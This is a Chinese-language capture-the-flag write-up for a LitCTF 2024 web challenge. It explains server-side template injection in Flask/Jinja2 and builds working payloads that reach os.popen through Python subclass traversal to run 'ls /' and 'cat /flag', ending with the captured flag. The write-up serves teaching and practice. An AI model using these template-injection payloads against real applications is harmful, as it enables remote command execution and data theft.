[LitCTF 2024]一个…池子?
点进去后页面如图所示:
本题的标签是SSTI 我们先了解以下什么是SSTI
SSTI是服务器端模板注入,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
以下是一些魔术方法的总结:
__class__ :返回类型所属的对象
__mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ :返回该对象所继承的父类
__subclasses__(): 获取当前类的所有子类
__init__ 类的初始化方法
__globals__ 对包含(保存)函数全局变量的字典的引用
SSTI注入
{{}}包裹我们的恶意代码会在渲染的时候被渲染解析。我们向回声池中输入{{2*2}}
结果我们得到:
由此我们断定本题存在ssti漏洞。
本题的标签中还有 Flask 和 Jinja2 我们接着了解以下相关知识:
flask是目前python主流的一个web微框架,通过flask框架我们可以利用python语言搭建起web服务
Flask默认使用的引擎为jinjia2
在jinjia2引擎中:
{{ ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}:装载一个控制语句。
{# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值
我们在平常的测试中最常用的就是{{}},测试是否将花括号中的值是否可控且被模板渲染。
构造payload的方法如下:
1、查看类中的可利用方法:
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}
2、利用popen()方法 :
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
以下是对payload的详解:
__class__.__bases__[0] 代表object基类
__subclasses__()[132] 代表object子类集合中的第132个类(os._wrap_close)
__init__ 初始化os._wrap_close类
__globals__ 返回os._wrap_close类中所有的方法及属性
__globals__['popen'] 调用该类的popen方法,该方法可执行传入的shell命令
read() 读取输出命令执行结果
结合本题,我们套模板构造出payload:
{{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']("cat /flag").read()}}
然后我们将payload输入到回声池中:
提交之后得到:
由此我们得到本题flag:
NSSCTF{0ee42dc2-e44b-49b8-b92b-c309306127bd}